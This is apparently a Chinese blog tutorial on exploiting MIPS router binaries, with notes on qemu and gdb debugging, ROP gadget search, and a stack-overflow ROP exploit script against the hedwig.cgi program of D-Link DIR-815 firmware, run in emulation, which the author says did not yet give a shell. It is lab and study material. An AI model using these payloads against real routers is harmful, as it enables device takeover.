IOT-路由器

路由器漏洞利用入门

2019-06-29  本文已影响0人  Nevv

路由器漏洞利用

0x0 背景知识

1.MIPS指令集合

MIPS 指令集主要使用在一些嵌入式的 IOT 设备中,比如路由器,摄像头。要对这些设备进行二进制的漏洞挖掘就需要有对 MIPS 有一定的熟悉。MIPS 指令集的栈溢出与 x86 指令集的有所不同,所以漏洞的利用方式也不太相同,但是溢出的思路是一样的:覆盖返回地址、劫持程序控制流、构造 ROP chain 、写 shellcode 等等。本文介绍一下最基本的 MIPS 指令集下的栈溢出的利用方法。

2.x86 和 MIPS 指令集的差异

1.MIPS 指令系统大量使用寄存器,包括返回地址也是存放在 ra 寄存器中
2.没有堆栈直接操作的指令,也就是没有 push 和 pop 指令
3.所有指令都是 32 位编码,也就是说所有的数据和指令都是 4 字节对齐。

由于 MIPS 固定指令长度,所以造成其编译后的二进制文件和内存占用空间比 x86 的要大
MIPS 指令集使用 uclibc C 标准库,x86 使用 libc 的 C 标准库

基本的指令用法和两者的差异可以参考这里:
https://blog.csdn.net/gujing001/article/details/8476685

3.MIPS 的动态调试

在 qemu 上开启一个调试端口(-g 指定端口号),在 IDA 上使用 Remote GDB debugger,填上端口号和主机名即可

./qemu-mipsel -g 23946 xxxx

具体的步骤可以看这里
https://www.jianshu.com/p/9841b412af37

4. 叶子函数和非叶子函数

​ 叶子函数和非叶子函数是两个非常重要的概念,两者的一些特性照成了对栈溢出利用方式的差异。在某个函数中,如果这个函数不调用其他函数,那么就这个称为叶子函数。反则这个函数就是非叶子函数。叶子函数的返回地址是直接在ra寄存器中,而非叶子函数的返回地址会先保存在栈上。

  1. 非叶子函数,有 sw $ra,xxx 的操作,在函数退出时,会将存放在栈上的原来存放 ra 寄存器的值重新赋值到 ra 寄存器中。
  2. 叶子函数,没有 sw $ra,xxx 的操作。
5. 寻找ROP链

在 IDA 中寻找并构造 ROP chain 是使用 mipsrop.py 这个脚本来辅助 查找的(本来只支持IDA 6.8版本,大佬已经更新到了ida7.0的api,我在mac上的ida 7.0亲测用。使用方法是直接吧py文件复制到plugins文件夹下即可):
https://github.com/devttys0/ida/tree/master/plugins/mipsrop

使用:

mipsrop.stackfinder() 寻找栈数据可控的 rop,建立和 a0a1 寄存器的关系
mipsrop.summary() 列出所有的可用 rop
mipsrop.system() 寻找命令执行的的rop
mipsrop.find(xxx) 查找 find 函数参数的 rop,类似正则匹配

0x1 例子分析

1. 源码

​ 这里选择下面一个书中的例子说明下mips架构下rop的使用:

#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>

void do_system_0(int code,char *cmd)
{
    char buf[255];
    //sleep(1);
    system(cmd);
}

void main()
{
    char buf[256]={0};
    char ch;
    int count = 0;
    unsigned int fileLen = 0;
    struct stat fileData;
    FILE *fp;

    if(0 == stat("passwd",&fileData))
        fileLen = fileData.st_size;
    else
        return 1;

    if((fp = fopen("passwd","rb")) == NULL)
    {
        printf("Cannot open file passwd!n");
        exit(1);
    }


    ch=fgetc(fp);
    while(count <= fileLen)
    {
        buf[count++] = ch;
        ch = fgetc(fp);
    }
    buf[--count] = 'x00';

    if(!strcmp(buf,"adminpwd"))
    {
        do_system(count,"ls -l");
    }
    else
    {
        printf("you have an invalid password!n");
    }
    fclose(fp);
}

使用 mipsrop.stackfinder() 命令来找找看

Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x00417990  |  addiu $a3,$sp,0x18                                  |  jr    0x24($sp)                       |
|  0x00417FF0  |  addiu $a2,$sp,0x18                                  |  jr    0x24($sp)                       |
|  0x004185F4  |  addiu $a2,$sp,0x18                                  |  jr    0x24($sp)                       |
----------------------------------------------------------------------------------------------------------------
Found 3 matching gadgets
2. exp分析
python -c "print 'a'*0x108+'x00x40x1Dx40'+'b'*24+'x2fx62x69x6e'+'x2fx73x68x00'+'c'*0x34+'x00x40x03x90'" > passwd

https://www.anquanke.com/post/id/169689

将这个程序运行起来,会读取 passwd 中的内容填充到程序的栈空间中,这样就可以得到 shell

0x3 利用练习

gdb+qumu调试

​ 在《揭秘家用路由0day漏洞挖掘》一书中使用的调试方式是使用ida pro,远程attach到qemu自带的gdbserver中实现调试,这里给出使用gdb+qumu的调试方法

#!/bin/sh
#sudo ./run.sh 'uid=1234' `python -c "print 'uid=1234&password='+'A'*0x600"`
INPUT="$1"
TEST="$2"
LEN=$(echo -n "$INPUT" | wc -c)
PORT="1234"
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
    echo -e "\nUsage: sudo $0 \n"
    exit 1
fi
cp $(which qemu-mipsel) ./qemu
echo "$INPUT" | sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE="$TEST" -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi
echo "run ok"
rm -f ./qemu

启动gdb进行链接:

​ 由于ubuntu自带的gdb只支持x86和x64架构的,因此需要下载支持mips架构调试的gdb,这里可以直接使用如下命令进行安装:

$ sudo apt-get install gdb-multiarch

​ 下载安装完成后运行, 使用 target remote localhost:1234 指定远程调试的ip和端口:

$ gdb-multiarch ./hedwig.cgi
(gdb) set arch mips
The target architecture is assumed to be mips
(gdb) set endian little
The target is assumed to be little endian
(gdb) target remote localhost:1234
Remote debugging using localhost:1234
(gdb) frame 0
#0  0x00409680 in hedwigcgi_main ()
(gdb) info frame
Stack level 0, frame at 0x7fffed30:
 pc = 0x409680 in hedwigcgi_main; saved pc = 0x7f78ff00
 called by frame at 0x7fffede0
 Arglist at 0x7fffed30, args: 
 Locals at 0x7fffed30, Previous frame's sp is 0x7fffed30
 Saved registers:
  s0 at 0x7fffed08, s1 at 0x7fffed0c, s2 at 0x7fffed10, s3 at 0x7fffed14, s4 at 0x7fffed18, s5 at 0x7fffed1c, s6 at 0x7fffed20,
  s7 at 0x7fffed24, gp at 0x7fffe858, s8 at 0x7fffed28, ra at 0x7fffed2c, pc at 0x7fffed2c
(gdb) 

D-LINK 815 路由器调试
栈溢出利用
  1. 寻找栈偏移,劫持程序控制流域。

  2. 执行 system(“/bin/shx00”),这里的参数可以使用 mipsrop.stackfinder() 的 gadget 来把 “/bin/shx00” 传到栈上。之后将这个栈的位置传入 a0 寄存器,这样就达到了利用的目的

  1. system 函数的位置,在 0x00053200 处,显然地址的最低位是坏字节,没办法直接传入
  2. 根据《揭秘家用路由器0day漏洞挖掘技术》书中的方法先将 system 函数的地址 -1 传入某个寄存器中,之后找到对这个寄存器进行加 +1 的操作的 gadget 进行调用即可将地址恢复到 0x53200。
  1. 将s0寄存器的位置写为 system_addr - 1
  2. 将s0寄存器+1
  3. 寻找栈操作的相关gadget(mov a0,stack_addr) stack_addr 储存了执行shell命令的字符串
  4. call system

根据以上思路:

常见 mips 反汇编跳转指令
li $a0,1 li,即加载立即数到寄存器中
jr和jal jr 跳转到寄存器。jal会把下一条指令存储在ra寄存器中

​ jal、jalr:这两条指令分别实现了直接和间接子程序调用。在跳转到指定地址实现子程序调用的同时,需要将返回地址(当前指令地址+8)保存到 ra($31)寄存器中。为什么是当前指令地址加8呢?这是因为紧随跳转指令之后有一条立即执行的延迟槽指令(例如nop占位指令),加8刚好是延迟槽后面的那条有效指令。从子程序返回是通过寄存器跳转完成,通常调用 jr ra。

寻找动态链接库的实际地址

​ 由于我这里gdb的插件不能用,尝试手动cat相关地址:

nevv@ubuntu:~/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root$ sudo cat /proc/9425/maps
[sudo] password for nevv: 
60000000-602ee000 r-xp 00000000 08:01 806503                             /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/qemu
604ee000-6054a000 rw-p 002ee000 08:01 806503                             /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/qemu
6054a000-60561000 rw-p 00000000 00:00 0 
60561000-6255f000 rwxp 00000000 00:00 0 
6255f000-62560000 ---p 00000000 00:00 0 
62560000-6257d000 rw-p 00000000 00:00 0 
63099000-63100000 rw-p 00000000 00:00 0                                  [heap]
7f09345e1000-7f09349e1000 ---p 00000000 00:00 0 
7f09349e1000-7f09349fd000 r-xp 00000000 08:01 840193                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/htdocs/cgibin
7f09349fd000-7f0934a0d000 ---p 00000000 00:00 0 
7f0934a0d000-7f0934a0e000 rw-p 0001c000 08:01 840193                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/htdocs/cgibin
7f0934a0e000-7f0934a11000 rw-p 00000000 00:00 0 
7f0934a11000-7f09b3d19000 ---p 00000000 00:00 0 
7f09b3d19000-7f09b3d77000 r-xp 00000000 08:01 840894                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so
7f09b3d77000-7f09b3d86000 ---p 00000000 00:00 0 
7f09b3d86000-7f09b3d87000 r--p 0005d000 08:01 840894                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so
7f09b3d87000-7f09b3d88000 rw-p 0005e000 08:01 840894                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so
7f09b3d88000-7f09b3d8d000 rw-p 00000000 00:00 0 
7f09b3d8d000-7f09b3d8e000 ---p 00000000 00:00 0 
7f09b3d8e000-7f09b3db7000 r-xp 00000000 08:01 840874                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libgcc_s.so.1
7f09b3db7000-7f09b3dc7000 ---p 00000000 00:00 0 
7f09b3dc7000-7f09b3dc8000 rw-p 00029000 08:01 840874                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libgcc_s.so.1
7f09b3dc8000-7f09b3dc9000 ---p 00000000 00:00 0 
7f09b3dc9000-7f09b3dca000 rw-p 00000000 00:00 0 
7f09b3dca000-7f09b3dcf000 r-xp 00000000 08:01 840866                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.1.so
7f09b3dcf000-7f09b3dde000 ---p 00000000 00:00 0 
7f09b3dde000-7f09b3ddf000 r--p 00004000 08:01 840866                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.1.so
7f09b3ddf000-7f09b3de0000 rw-p 00005000 08:01 840866                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.1.so
7f09b3de0000-7f09b3de1000 ---p 00000000 00:00 0 
7f09b3de1000-7f09b4662000 rw-p 00000000 00:00 0 
7f09b4662000-7f09b4663000 ---p 00000000 00:00 0 
7f09b4663000-7f09b4e63000 rw-p 00000000 00:00 0 
7ffda09b3000-7ffda09d5000 rw-p 00000000 00:00 0                          [stack]
7ffda09e8000-7ffda09eb000 r--p 00000000 00:00 0                          [vvar]
7ffda09eb000-7ffda09ed000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

​ 但是由于程序是qemu仿真执行的,因此cat出来的地址并不是程序的真实地址,只能想一想曲线救国的办法,使用残缺功能的gdb:

(gdb) p system
$6 = {<text variable, no debug info>} 0x7f78b200 <system>

​ 而 system 函数在动态链接库中的偏移是 0x53200 ,因此可以计算出libc的实际地址是 0x7f738000,并且每次运行时地址均不变,原因是什么安全检查都没开(—_—):

$ checksec cgibin
[*] Checking for new versions of pwntools
[*] Checking for new versions of pwntools
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/nevv/.pwntools-cache/update to 'never'.
[*] You have the latest version of Pwntools (3.12.2)
[*] '/home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/htdocs/cgibin'
    Arch:     mips-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

exp
from pwn import *
context.endian="little"
context.arch="mips"

base_addr = 0x7f738000
system_addr_1 = 0x53200-1
rop1 = 0x000158c8  # addiu $s0 ,1 | jalr $s5  ->save_to ret address
rop2 = 0x159CC      # addiu $s5,$sp,0x170+var_160 | jalr $s0 | save_to_s5


padding = 'uid=1234&password=' + 'a' * (0x405-9*4)
padding += p32(base_addr + system_addr_1)                              # s0
padding += 'a' * 4                        # s1
padding += 'a' * 4                        # s2
padding += 'a' * 4                              # s3
padding += 'a' * 4                              # s4
padding += p32(base_addr+rop2)               # s5
padding += 'a' * 4                              # s6
padding += 'a' * 4                              # s7
padding += 'a' * 4                              # fp
padding += p32(base_addr + rop1)        # ra


#------------------------- stack 2 ---------------------------
padding += 'b' * 0x10
padding += '/bin//sh'

with open("call_system_padding",'wb') as f:

    f.write(padding)



f.close()

​ 我在本地执行的过程中,确并没有get到shell,gdb调试:

当执行到0x7f74d9dc: 
   0x7f74d9cc:  addiu   s5,sp,16
   0x7f74d9d0:  move    a1,s3
   0x7f74d9d4:  move    a2,s1
   0x7f74d9d8:  move    t9,s0
   0x7f74d9dc:  jalr    t9
   0x7f74d9e0:  move    a0,s5

可以看到:
(gdb) p $t9
$9 = 2138616320
(gdb) p system
$10 = {<text variable, no debug info>} 0x7f78b200 <system>
(gdb) 
>>> hex(2138616320)
'0x7f78b200'

确实调用了system函数,但是参数似乎有点问题:
(gdb) x /s $s5
0x7fffed10: "/bin//sh/postxml"

    
直接在system函数位置下断点:
Breakpoint 4, 0x7f74d9dc in ?? () from ./lib/libc.so.0
(gdb) c
Continuing.
Breakpoint 5, 0x7f78b200 in system () from ./lib/libc.so.0
(gdb) x /s $a0
0x7fffed00: "/bin/sh/postxml"

​ 尝试了几种方法进行截断都不行。或许是姿势不对?0.0

参考链接

上一篇 下一篇

猜你喜欢

热点阅读